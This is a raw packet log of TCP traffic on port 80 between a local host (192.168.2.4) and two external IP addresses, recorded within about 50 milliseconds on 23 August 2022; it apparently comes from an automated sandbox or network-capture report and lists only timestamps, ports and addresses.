Aug 23, 2022 03:42:56.244879007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244920969 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.244932890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.244991064 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245037079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245047092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245104074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245146036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245167971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245208025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245227098 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245290041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245336056 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245348930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245379925 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245395899 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245415926 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245476007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245518923 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245536089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245599031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245661020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245683908 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245699883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245721102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245781898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245825052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245843887 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245908022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.245949984 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.245973110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246011972 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246032000 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246088982 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246130943 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246134996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246195078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246237993 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246258020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246295929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246306896 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246368885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246412039 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246433973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246495962 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246539116 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246558905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246597052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246619940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246680021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.246721029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.246743917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.248260975 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.251374960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251410007 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251427889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251452923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251476049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251494884 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251497984 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.251513004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251554012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.251560926 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.251565933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.251576900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251600027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251678944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251710892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251729965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.251748085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252254009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252276897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252295017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252314091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252332926 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252351999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252371073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252389908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252408028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252424955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252443075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.252449989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.252480030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.252509117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.253490925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253513098 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253565073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253582954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253602028 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253619909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253667116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253693104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253711939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253730059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253792048 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253810883 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253834963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253854036 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253865004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.253880024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.253884077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.253889084 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253907919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.253918886 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.253946066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.253951073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.253990889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254024982 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254043102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254045010 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254062891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254070997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254086971 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254105091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254112959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254148006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254152060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254179001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254230022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254249096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254267931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254378080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254398108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254400969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254420996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254427910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254439116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254451036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254460096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254472017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254477024 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254477024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254494905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254511118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254514933 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254522085 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254533052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254545927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254551888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254558086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254570961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254578114 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254596949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254628897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254647970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254662037 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.254662991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.254887104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.263827085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.263848066 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.263864040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.263880968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.263921022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.263930082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.263955116 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.263961077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.263988972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.264003992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.264029026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.264112949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.269808054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.269831896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.269855022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.269865990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.269882917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.269897938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.269910097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.269938946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.270005941 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.270024061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.270114899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.271922112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.271981955 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.285243034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285307884 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285329103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285351992 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285391092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285393953 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285412073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285435915 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285435915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285485029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285497904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285525084 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285526037 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285566092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285605907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285607100 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285645008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285685062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285697937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285703897 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285726070 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285767078 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285782099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285809040 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285809040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285847902 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285849094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285890102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285898924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285931110 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.285938978 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285968065 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.285969973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286010981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286042929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286066055 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286083937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286101103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286128998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286143064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286171913 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286197901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286206007 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286211967 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286252022 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286264896 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286292076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286334038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286340952 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286375046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286416054 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286441088 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286457062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286469936 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286492109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286495924 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286535978 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286561966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286575079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286576986 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286613941 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286617041 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286653996 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286660910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.286700010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.286741018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.286751032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.286782026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.286782026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.286820889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286823988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.286859989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286870003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.286870003 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286899090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286901951 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286942959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286955118 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.286984921 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.286998034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287024975 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287036896 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287065983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287072897 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287106037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287117004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287146091 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287152052 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287187099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287194967 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287226915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287234068 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287267923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287311077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287327051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287373066 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287380934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287424088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287436962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287465096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287475109 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287506104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.287516117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287544966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287547112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:56.287585020 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287590027 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287623882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287623882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287659883 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287664890 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287705898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287707090 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287744045 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287784100 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287785053 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287826061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287867069 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287867069 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287903070 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.287909031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.287978888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288018942 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288019896 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288058996 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288099051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288101912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288144112 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288184881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288184881 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288220882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288228035 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288269997 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288309097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288314104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288347960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288388968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288389921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288424969 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288428068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288469076 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288507938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288511038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288548946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288589954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288592100 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288629055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288669109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288670063 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288703918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288710117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288757086 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288796902 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288799047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288837910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288877010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288877964 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288918018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.288919926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.288958073 CEST	80	49792	135.181.104.248	192.168.2.4
